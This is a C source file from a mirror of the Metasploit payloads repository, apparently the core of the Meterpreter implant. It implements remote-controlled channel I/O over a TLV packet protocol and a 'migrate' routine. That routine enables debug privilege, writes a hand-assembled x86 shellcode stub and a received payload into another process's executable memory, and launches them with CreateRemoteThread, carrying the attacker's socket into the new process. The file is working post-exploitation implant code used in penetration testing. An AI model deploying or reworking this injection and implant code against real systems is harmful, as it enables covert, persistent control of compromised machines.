mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-30 22:19:17 +02:00
804 lines
22 KiB
C
804 lines
22 KiB
C
#include "common.h"
|
|
|
|
/*
|
|
* core_channel_open
|
|
* -----------------
|
|
*
|
|
* Opens a channel with the remote endpoint. The response handler for this
|
|
* request will establish the relationship on the other side.
|
|
*
|
|
* opt: TLV_TYPE_CHANNEL_TYPE
|
|
* The channel type to allocate. If set, the function returns, allowing
|
|
* a further up extension handler to allocate the channel.
|
|
*/
|
|
DWORD remote_request_core_channel_open(Remote *remote, Packet *packet)
|
|
{
|
|
Packet *response;
|
|
DWORD res = ERROR_SUCCESS;
|
|
Channel *newChannel;
|
|
PCHAR channelType;
|
|
DWORD flags = 0;
|
|
|
|
do
|
|
{
|
|
// If the channel open request had a specific channel type
|
|
if ((channelType = packet_get_tlv_value_string(packet,
|
|
TLV_TYPE_CHANNEL_TYPE)))
|
|
{
|
|
res = ERROR_NOT_FOUND;
|
|
break;
|
|
}
|
|
|
|
// Get any flags that were supplied
|
|
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
|
|
|
|
// Allocate a response
|
|
response = packet_create_response(packet);
|
|
|
|
// Did the response allocation fail?
|
|
if ((!response) ||
|
|
(!(newChannel = channel_create(0, flags))))
|
|
{
|
|
res = ERROR_NOT_ENOUGH_MEMORY;
|
|
break;
|
|
}
|
|
|
|
// Get the channel class and set it
|
|
newChannel->cls = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_CLASS);
|
|
|
|
// Add the new channel identifier to the response
|
|
if ((res = packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,
|
|
channel_get_id(newChannel))) != ERROR_SUCCESS)
|
|
break;
|
|
|
|
// Transmit the response
|
|
res = packet_transmit(remote, response, NULL);
|
|
|
|
} while (0);
|
|
|
|
return res;
|
|
}
|
|
|
|
/*
|
|
* core_channel_open (response)
|
|
* -----------------
|
|
*
|
|
* Handles the response to a request to open a channel.
|
|
*
|
|
* This function takes the supplied channel identifier and creates a
|
|
* channel list entry with it.
|
|
*
|
|
* req: TLV_TYPE_CHANNEL_ID -- The allocated channel identifier
|
|
*/
|
|
DWORD remote_response_core_channel_open(Remote *remote, Packet *packet)
|
|
{
|
|
DWORD res = ERROR_SUCCESS, channelId;
|
|
Channel *newChannel;
|
|
|
|
do
|
|
{
|
|
channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
|
|
|
|
// DId the request fail?
|
|
if (!channelId)
|
|
{
|
|
res = ERROR_NOT_ENOUGH_MEMORY;
|
|
break;
|
|
}
|
|
|
|
// Create a local instance of the channel with the supplied identifier
|
|
if (!(newChannel = channel_create(channelId, 0)))
|
|
{
|
|
res = ERROR_NOT_ENOUGH_MEMORY;
|
|
break;
|
|
}
|
|
|
|
} while (0);
|
|
|
|
return res;
|
|
}
|
|
|
|
/*
|
|
* core_channel_write
|
|
* ------------------
|
|
*
|
|
* Write data from a channel into the local output buffer for it
|
|
*/
|
|
DWORD remote_request_core_channel_write(Remote *remote, Packet *packet)
|
|
{
|
|
Packet *response = packet_create_response(packet);
|
|
DWORD res = ERROR_SUCCESS, channelId, written = 0;
|
|
Tlv channelData;
|
|
Channel *channel;
|
|
|
|
do
|
|
{
|
|
channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
|
|
|
|
// Try to locate the specified channel
|
|
if (!(channel = channel_find_by_id(channelId)))
|
|
{
|
|
res = ERROR_NOT_FOUND;
|
|
break;
|
|
}
|
|
|
|
// Get the channel data buffer
|
|
if ((res = packet_get_tlv(packet, TLV_TYPE_CHANNEL_DATA, &channelData))
|
|
!= ERROR_SUCCESS)
|
|
break;
|
|
|
|
// Handle the write operation differently based on the class of channel
|
|
switch (channel_get_class(channel))
|
|
{
|
|
// If it's buffered, write it to the local buffer cache
|
|
case CHANNEL_CLASS_BUFFERED:
|
|
res = channel_write_to_buffered(channel, channelData.buffer,
|
|
channelData.header.length, &written);
|
|
break;
|
|
// If it's non-buffered, call the native write operation handler if
|
|
// one is implemented
|
|
default:
|
|
{
|
|
NativeChannelOps *ops = (NativeChannelOps *)&channel->ops;
|
|
|
|
if (ops->write)
|
|
res = ops->write(channel, packet, ops->context,
|
|
channelData.buffer, channelData.header.length,
|
|
&written);
|
|
else
|
|
res = ERROR_NOT_SUPPORTED;
|
|
}
|
|
break;
|
|
}
|
|
|
|
} while (0);
|
|
|
|
// Transmit the acknowledgement
|
|
if (response)
|
|
{
|
|
packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
|
|
packet_add_tlv_uint(response, TLV_TYPE_LENGTH, written);
|
|
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId);
|
|
|
|
res = packet_transmit(remote, response, NULL);
|
|
}
|
|
|
|
return res;
|
|
}
|
|
|
|
/*
|
|
* core_channel_read
|
|
* -----------------
|
|
*
|
|
* From from the local buffer and write back to the requester
|
|
*
|
|
* Takes TLVs:
|
|
*
|
|
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to read from
|
|
* req: TLV_TYPE_LENGTH -- The number of bytes to read
|
|
*/
|
|
DWORD remote_request_core_channel_read(Remote *remote, Packet *packet)
|
|
{
|
|
DWORD res = ERROR_SUCCESS, bytesToRead, bytesRead, channelId;
|
|
Packet *response = packet_create_response(packet);
|
|
PUCHAR temporaryBuffer = NULL;
|
|
Channel *channel = NULL;
|
|
|
|
do
|
|
{
|
|
if (!response)
|
|
{
|
|
res = ERROR_NOT_ENOUGH_MEMORY;
|
|
break;
|
|
}
|
|
|
|
// Get the number of bytes to read
|
|
bytesToRead = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH);
|
|
channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
|
|
|
|
// Try to locate the specified channel
|
|
if (!(channel = channel_find_by_id(channelId)))
|
|
{
|
|
res = ERROR_NOT_FOUND;
|
|
break;
|
|
}
|
|
|
|
// Allocate temporary storage
|
|
if (!(temporaryBuffer = (PUCHAR)malloc(bytesToRead)))
|
|
{
|
|
res = ERROR_NOT_ENOUGH_MEMORY;
|
|
break;
|
|
}
|
|
|
|
switch (channel_get_class(channel))
|
|
{
|
|
// If it's buffered, read from the local buffer and either transmit
|
|
// the buffer in the response or write it back asynchronously
|
|
// depending on the mode of the channel.
|
|
case CHANNEL_CLASS_BUFFERED:
|
|
// Read in from local
|
|
res = channel_read_from_buffered(channel, temporaryBuffer,
|
|
bytesToRead, &bytesRead);
|
|
break;
|
|
// Handle read I/O for the pool class
|
|
case CHANNEL_CLASS_POOL:
|
|
// If the channel has a read handler
|
|
if (channel->ops.pool.read)
|
|
res = channel->ops.pool.read(channel, packet,
|
|
channel->ops.pool.native.context, temporaryBuffer,
|
|
bytesToRead, &bytesRead);
|
|
else
|
|
res = ERROR_NOT_SUPPORTED;
|
|
break;
|
|
default:
|
|
res = ERROR_NOT_SUPPORTED;
|
|
}
|
|
|
|
// If we've so far been successful and we have a temporary buffer...
|
|
if ((res == ERROR_SUCCESS) &&
|
|
(temporaryBuffer) &&
|
|
(bytesRead))
|
|
{
|
|
// If the channel should operate synchronously, add the data to the
|
|
// response
|
|
if (channel_is_flag(channel, CHANNEL_FLAG_SYNCHRONOUS))
|
|
{
|
|
packet_add_tlv_raw(response, TLV_TYPE_CHANNEL_DATA,
|
|
temporaryBuffer, bytesRead);
|
|
|
|
res = ERROR_SUCCESS;
|
|
}
|
|
// Otherwise, asynchronously write the buffer to the remote endpoint
|
|
else
|
|
{
|
|
if ((res = channel_write(channel, remote, NULL, 0,
|
|
temporaryBuffer, bytesRead, NULL)) != ERROR_SUCCESS)
|
|
break;
|
|
}
|
|
}
|
|
|
|
} while (0);
|
|
|
|
if (temporaryBuffer)
|
|
free(temporaryBuffer);
|
|
|
|
// Transmit the acknowledgement
|
|
if (response)
|
|
{
|
|
packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
|
|
packet_add_tlv_uint(response, TLV_TYPE_LENGTH, bytesRead);
|
|
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId);
|
|
|
|
res = packet_transmit(remote, response, NULL);
|
|
}
|
|
|
|
return res;
|
|
}
|
|
|
|
/*
|
|
* core_channel_close
|
|
* ------------------
|
|
*
|
|
* Closes a previously opened channel.
|
|
*
|
|
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to close
|
|
*/
|
|
DWORD remote_request_core_channel_close(Remote *remote, Packet *packet)
|
|
{
|
|
Packet *response = packet_create_response(packet);
|
|
DWORD res = ERROR_SUCCESS, channelId;
|
|
Channel *channel = NULL;
|
|
|
|
do
|
|
{
|
|
// Get the channel identifier
|
|
channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
|
|
|
|
// Try to locate the specified channel
|
|
if (!(channel = channel_find_by_id(channelId)))
|
|
{
|
|
res = ERROR_NOT_FOUND;
|
|
break;
|
|
}
|
|
|
|
// Destroy the channel
|
|
channel_destroy(channel, packet);
|
|
|
|
if (response)
|
|
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId);
|
|
|
|
} while (0);
|
|
|
|
// Transmit the acknowledgement
|
|
if (response)
|
|
{
|
|
packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
|
|
|
|
res = packet_transmit(remote, response, NULL);
|
|
}
|
|
|
|
return res;
|
|
}
|
|
|
|
/*
|
|
* core_channel_close (response)
|
|
* ------------------
|
|
*
|
|
* Removes the local instance of the channel
|
|
*
|
|
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to close
|
|
*/
|
|
DWORD remote_response_core_channel_close(Remote *remote, Packet *packet)
|
|
{
|
|
DWORD res = ERROR_SUCCESS, channelId;
|
|
Channel *channel = NULL;
|
|
|
|
do
|
|
{
|
|
// Get the channel identifier
|
|
channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
|
|
|
|
// Try to locate the specified channel
|
|
if (!(channel = channel_find_by_id(channelId)))
|
|
{
|
|
res = ERROR_NOT_FOUND;
|
|
break;
|
|
}
|
|
|
|
// Destroy the channel
|
|
channel_destroy(channel, packet);
|
|
|
|
} while (0);
|
|
|
|
return res;
|
|
}
|
|
|
|
|
|
/*
|
|
* core_channel_seek
|
|
* -----------------
|
|
*
|
|
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to seek on
|
|
* req: TLV_TYPE_SEEK_OFFSET -- The offset to seek to
|
|
* req: TLV_TYPE_SEEK_WHENCE -- The relativity to which the offset refers
|
|
*/
|
|
DWORD remote_request_core_channel_seek(Remote *remote, Packet *packet)
|
|
{
|
|
Channel *channel = NULL;
|
|
Packet *response = packet_create_response(packet);
|
|
DWORD result = ERROR_SUCCESS;
|
|
|
|
do
|
|
{
|
|
// Lookup the channel by its identifier
|
|
if (!(channel = channel_find_by_id(
|
|
packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID))))
|
|
{
|
|
result = ERROR_NOT_FOUND;
|
|
break;
|
|
}
|
|
|
|
// Make sure this class is compatible
|
|
if (channel_get_class(channel) != CHANNEL_CLASS_POOL)
|
|
{
|
|
result = ERROR_NOT_SUPPORTED;
|
|
break;
|
|
}
|
|
|
|
// Call the function if it's set
|
|
if (channel->ops.pool.seek)
|
|
result = channel->ops.pool.seek(channel, packet,
|
|
channel->ops.pool.native.context,
|
|
(LONG)packet_get_tlv_value_uint(packet, TLV_TYPE_SEEK_OFFSET),
|
|
packet_get_tlv_value_uint(packet, TLV_TYPE_SEEK_WHENCE));
|
|
else
|
|
result = ERROR_NOT_SUPPORTED;
|
|
|
|
} while (0);
|
|
|
|
// Transmit the result
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
return result;
|
|
}
|
|
|
|
/*
|
|
* core_channel_eof
|
|
* -----------------
|
|
*
|
|
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to check eof on
|
|
*/
|
|
DWORD remote_request_core_channel_eof(Remote *remote, Packet *packet)
|
|
{
|
|
Channel *channel = NULL;
|
|
Packet *response = packet_create_response(packet);
|
|
DWORD result = ERROR_SUCCESS;
|
|
BOOL isEof = FALSE;
|
|
|
|
do
|
|
{
|
|
// Lookup the channel by its identifier
|
|
if (!(channel = channel_find_by_id(
|
|
packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID))))
|
|
{
|
|
result = ERROR_NOT_FOUND;
|
|
break;
|
|
}
|
|
|
|
// Make sure this class is compatible
|
|
if (channel_get_class(channel) != CHANNEL_CLASS_POOL)
|
|
{
|
|
result = ERROR_NOT_SUPPORTED;
|
|
break;
|
|
}
|
|
|
|
// Call the function if it's set
|
|
if (channel->ops.pool.eof)
|
|
result = channel->ops.pool.eof(channel, packet,
|
|
channel->ops.pool.native.context,
|
|
&isEof);
|
|
else
|
|
result = ERROR_NOT_SUPPORTED;
|
|
|
|
} while (0);
|
|
|
|
// Add the EOF flag
|
|
packet_add_tlv_bool(response, TLV_TYPE_BOOL, isEof);
|
|
|
|
// Transmit the response
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
return result;
|
|
}
|
|
|
|
/*
|
|
* core_channel_tell
|
|
* -----------------
|
|
*
|
|
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to check tell on
|
|
*/
|
|
DWORD remote_request_core_channel_tell(Remote *remote, Packet *packet)
|
|
{
|
|
Channel *channel = NULL;
|
|
Packet *response = packet_create_response(packet);
|
|
DWORD result = ERROR_SUCCESS;
|
|
LONG offset = 0;
|
|
|
|
do
|
|
{
|
|
// Lookup the channel by its identifier
|
|
if (!(channel = channel_find_by_id(
|
|
packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID))))
|
|
{
|
|
result = ERROR_NOT_FOUND;
|
|
break;
|
|
}
|
|
|
|
// Make sure this class is compatible
|
|
if (channel_get_class(channel) != CHANNEL_CLASS_POOL)
|
|
{
|
|
result = ERROR_NOT_SUPPORTED;
|
|
break;
|
|
}
|
|
|
|
// Call the function if it's set
|
|
if (channel->ops.pool.tell)
|
|
result = channel->ops.pool.tell(channel, packet,
|
|
channel->ops.pool.native.context,
|
|
&offset);
|
|
else
|
|
result = ERROR_NOT_SUPPORTED;
|
|
|
|
} while (0);
|
|
|
|
// Add the offset
|
|
packet_add_tlv_uint(response, TLV_TYPE_SEEK_POS, offset);
|
|
|
|
// Transmit the response
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
return result;
|
|
}
|
|
|
|
|
|
/*
|
|
* core_channel_interact
|
|
* ---------------------
|
|
*
|
|
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to interact with
|
|
* req: TLV_TYPE_BOOL -- True if interactive, false if not.
|
|
*/
|
|
DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet)
|
|
{
|
|
Packet *response = packet_create_response(packet);
|
|
Channel *channel;
|
|
DWORD channelId;
|
|
DWORD result = ERROR_SUCCESS;
|
|
BOOLEAN interact;
|
|
|
|
// Get the channel identifier
|
|
channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
|
|
interact = packet_get_tlv_value_bool(packet, TLV_TYPE_BOOL);
|
|
|
|
// If the channel is found, set the interactive flag accordingly
|
|
if ((channel = channel_find_by_id(channelId)))
|
|
{
|
|
// If the response packet is valid
|
|
if ((response) &&
|
|
(channel_get_class(channel) != CHANNEL_CLASS_BUFFERED))
|
|
{
|
|
NativeChannelOps *native = (NativeChannelOps *)&channel->ops;
|
|
|
|
// Check to see if this channel has a registered interact handler
|
|
if (native->interact)
|
|
result = native->interact(channel, packet, native->context,
|
|
interact);
|
|
}
|
|
|
|
// Set the channel's interactive state
|
|
channel_set_interactive(channel, interact);
|
|
}
|
|
|
|
// Send the response to the requestor so that the interaction can be
|
|
// complete
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* core_crypto_negotiate
|
|
* ---------------------
|
|
*
|
|
* Negotiates a cryptographic session with the remote host
|
|
*
|
|
* req: TLV_TYPE_CIPHER_NAME -- The cipher being selected.
|
|
* opt: TLV_TYPE_CIPHER_PARAMETERS -- The paramters passed to the cipher for
|
|
* initialization
|
|
*/
|
|
DWORD remote_request_core_crypto_negotiate(Remote *remote, Packet *packet)
|
|
{
|
|
LPCSTR cipherName = packet_get_tlv_value_string(packet,
|
|
TLV_TYPE_CIPHER_NAME);
|
|
DWORD res = ERROR_INVALID_PARAMETER;
|
|
Packet *response = packet_create_response(packet);
|
|
|
|
// If a cipher name was supplied, set it
|
|
if (cipherName)
|
|
res = remote_set_cipher(remote, cipherName, packet);
|
|
|
|
// Transmit a response
|
|
if (response)
|
|
{
|
|
packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
|
|
|
|
packet_transmit(remote, response, NULL);
|
|
}
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* core_migrate
|
|
* ------------
|
|
*
|
|
* Migrates the remote connection descriptor into the context of
|
|
* another process and exits the current process or thread. This is
|
|
* accomplished by duplicating the socket handle into the context
|
|
* of another process and injecting a code stub that reads in
|
|
* an arbitrary stage that may or may not re-initialize the
|
|
* meterpreter server instance in the new process.
|
|
*
|
|
* req: TLV_TYPE_MIGRATE_PID - The process identifier to migrate into.
|
|
*/
|
|
|
|
typedef struct _MigrationStubContext
|
|
{
|
|
LPVOID loadLibrary; // esi+0x00
|
|
LPVOID payloadBase; // esi+0x04
|
|
DWORD payloadLength; // esi+0x08
|
|
LPVOID wsaStartup; // esi+0x0c
|
|
LPVOID wsaSocket; // esi+0x10
|
|
LPVOID recv; // esi+0x14
|
|
LPVOID setevent; // esi+0x18
|
|
LPVOID event; // esi+0x1c
|
|
CHAR ws2_32[8]; // esi+0x20
|
|
WSAPROTOCOL_INFO info; // esi+0x28
|
|
} MigrationStubContext;
|
|
|
|
DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
|
|
{
|
|
MigrationStubContext context;
|
|
TOKEN_PRIVILEGES privs;
|
|
HANDLE token = NULL;
|
|
Packet *response = packet_create_response(packet);
|
|
HANDLE process = NULL;
|
|
HANDLE thread = NULL;
|
|
HANDLE event = NULL;
|
|
LPVOID dataBase;
|
|
LPVOID codeBase;
|
|
DWORD threadId;
|
|
DWORD result = ERROR_SUCCESS;
|
|
DWORD pid;
|
|
PUCHAR payload;
|
|
|
|
// Bug fix for Ticket #275: recv the migrate payload into a RWX buffer instead of straight onto the stack (Stephen Fewer).
|
|
BYTE stub[] =
|
|
"\x8B\x74\x24\x04" // mov esi,[esp+0x4] ; ESI = MigrationStubContext *
|
|
"\x89\xE5" // mov ebp,esp ; create stack frame
|
|
"\x81\xEC\x00\x40\x00\x00" // sub esp, 0x4000 ; alloc space on stack
|
|
"\x8D\x4E\x20" // lea ecx,[esi+0x20] ; ECX = MigrationStubContext->ws2_32
|
|
"\x51" // push ecx ; push "ws2_32"
|
|
"\xFF\x16" // call near [esi] ; call loadLibrary
|
|
"\x54" // push esp ; push stack address
|
|
"\x6A\x02" // push byte +0x2 ; push 2
|
|
"\xFF\x56\x0C" // call near [esi+0xC] ; call wsaStartup
|
|
"\x6A\x00" // push byte +0x0 ; push null
|
|
"\x6A\x00" // push byte +0x0 ; push null
|
|
"\x8D\x46\x28" // lea eax,[esi+0x28] ; EAX = MigrationStubContext->info
|
|
"\x50" // push eax ; push our duplicated socket
|
|
"\x6A\x00" // push byte +0x0 ; push null
|
|
"\x6A\x02" // push byte +0x2 ; push 2
|
|
"\x6A\x01" // push byte +0x1 ; push 1
|
|
"\xFF\x56\x10" // call near [esi+0x10] ; call wsaSocket
|
|
"\x97" // xchg eax,edi ; edi now = our duplicated socket
|
|
"\xFF\x76\x1C" // push dword [esi+0x1C] ; push our event
|
|
"\xFF\x56\x18" // call near [esi+0x18] ; call setevent
|
|
"\xFF\x76\x04" // push dword [esi+0x04] ; push the address of the payloadBase
|
|
"\xC3"; // ret ; return into the payload
|
|
|
|
// Get the process identifier to inject into
|
|
pid = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);
|
|
|
|
// Bug fix for Ticket #275: get the desired length of the to-be-read-in payload buffer...
|
|
context.payloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);
|
|
|
|
// Receive the actual migration payload (metsrv.dll + loader)
|
|
payload = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);
|
|
|
|
// Try to enable the debug privilege so that we can migrate into system
|
|
// services if we're administrator.
|
|
if (OpenProcessToken(
|
|
GetCurrentProcess(),
|
|
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
|
|
&token))
|
|
{
|
|
privs.PrivilegeCount = 1;
|
|
privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|
|
|
LookupPrivilegeValue(NULL, SE_DEBUG_NAME,
|
|
&privs.Privileges[0].Luid);
|
|
|
|
AdjustTokenPrivileges(token, FALSE, &privs, 0, NULL, NULL);
|
|
|
|
CloseHandle(token);
|
|
}
|
|
|
|
do
|
|
{
|
|
// Open the process so that we can into it
|
|
if (!(process = OpenProcess(
|
|
PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION |
|
|
PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid)))
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
// If the socket duplication fails...
|
|
if (WSADuplicateSocket(remote_get_fd(remote), pid, &context.info) != NO_ERROR)
|
|
{
|
|
result = WSAGetLastError();
|
|
break;
|
|
}
|
|
|
|
// Create a notification event that we'll use to know when
|
|
// it's safe to exit (once the socket has been referenced in
|
|
// the other process)
|
|
if (!(event = CreateEvent(NULL, TRUE, FALSE, NULL)))
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
// Duplicate the event handle into the target process
|
|
if (!DuplicateHandle(GetCurrentProcess(), event,
|
|
process, &context.event, 0, TRUE, DUPLICATE_SAME_ACCESS))
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
// Initialize the migration context
|
|
context.loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA");
|
|
context.wsaStartup = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSAStartup");
|
|
context.wsaSocket = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSASocketA");
|
|
context.recv = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "recv");
|
|
context.setevent = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "SetEvent");
|
|
|
|
strcpy(context.ws2_32, "ws2_32");
|
|
|
|
// Allocate storage for the stub and context
|
|
if (!(dataBase = VirtualAllocEx(process, NULL, sizeof(MigrationStubContext) + sizeof(stub), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
// Bug fix for Ticket #275: Allocate a RWX buffer for the to-be-read-in payload...
|
|
if (!(context.payloadBase = VirtualAllocEx(process, NULL, context.payloadLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
// Initialize the data and code base in the target process
|
|
codeBase = (PCHAR)dataBase + sizeof(MigrationStubContext);
|
|
|
|
if (!WriteProcessMemory(process, dataBase, &context, sizeof(context), NULL))
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
if (!WriteProcessMemory(process, codeBase, stub, sizeof(stub), NULL))
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
if (!WriteProcessMemory(process, context.payloadBase, payload, context.payloadLength, NULL))
|
|
{
|
|
result = GetLastError();
|
|
break;
|
|
}
|
|
|
|
// Send a successful response to let them know that we've pretty much
|
|
// successfully migrated and are reaching the point of no return
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
// XXX: Skip SSL shutdown/notify, as it queues a TLS alert on the socket.
|
|
// Shut down our SSL session
|
|
// ssl_close_notify(&remote->ssl);
|
|
// ssl_free(&remote->ssl);
|
|
|
|
|
|
response = NULL;
|
|
|
|
// Create the thread in the remote process
|
|
if (!(thread = CreateRemoteThread(process, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId)))
|
|
{
|
|
result = GetLastError();
|
|
ExitThread(result);
|
|
}
|
|
|
|
// Wait at most 5 seconds for the event to be set letting us know that
|
|
// it's finished
|
|
if (WaitForSingleObjectEx(event, 5000, FALSE) != WAIT_OBJECT_0)
|
|
{
|
|
result = GetLastError();
|
|
ExitThread(result);
|
|
}
|
|
|
|
|
|
// Exit the current process now that we've migrated to another one
|
|
dprintf("Shutting down the Meterpreter thread...");
|
|
ExitThread(0);
|
|
|
|
} while (0);
|
|
|
|
// If we failed and have not sent the response, do so now
|
|
if (result != ERROR_SUCCESS && response)
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
// Cleanup
|
|
if (process)
|
|
CloseHandle(process);
|
|
if (thread)
|
|
CloseHandle(thread);
|
|
if (event)
|
|
CloseHandle(event);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|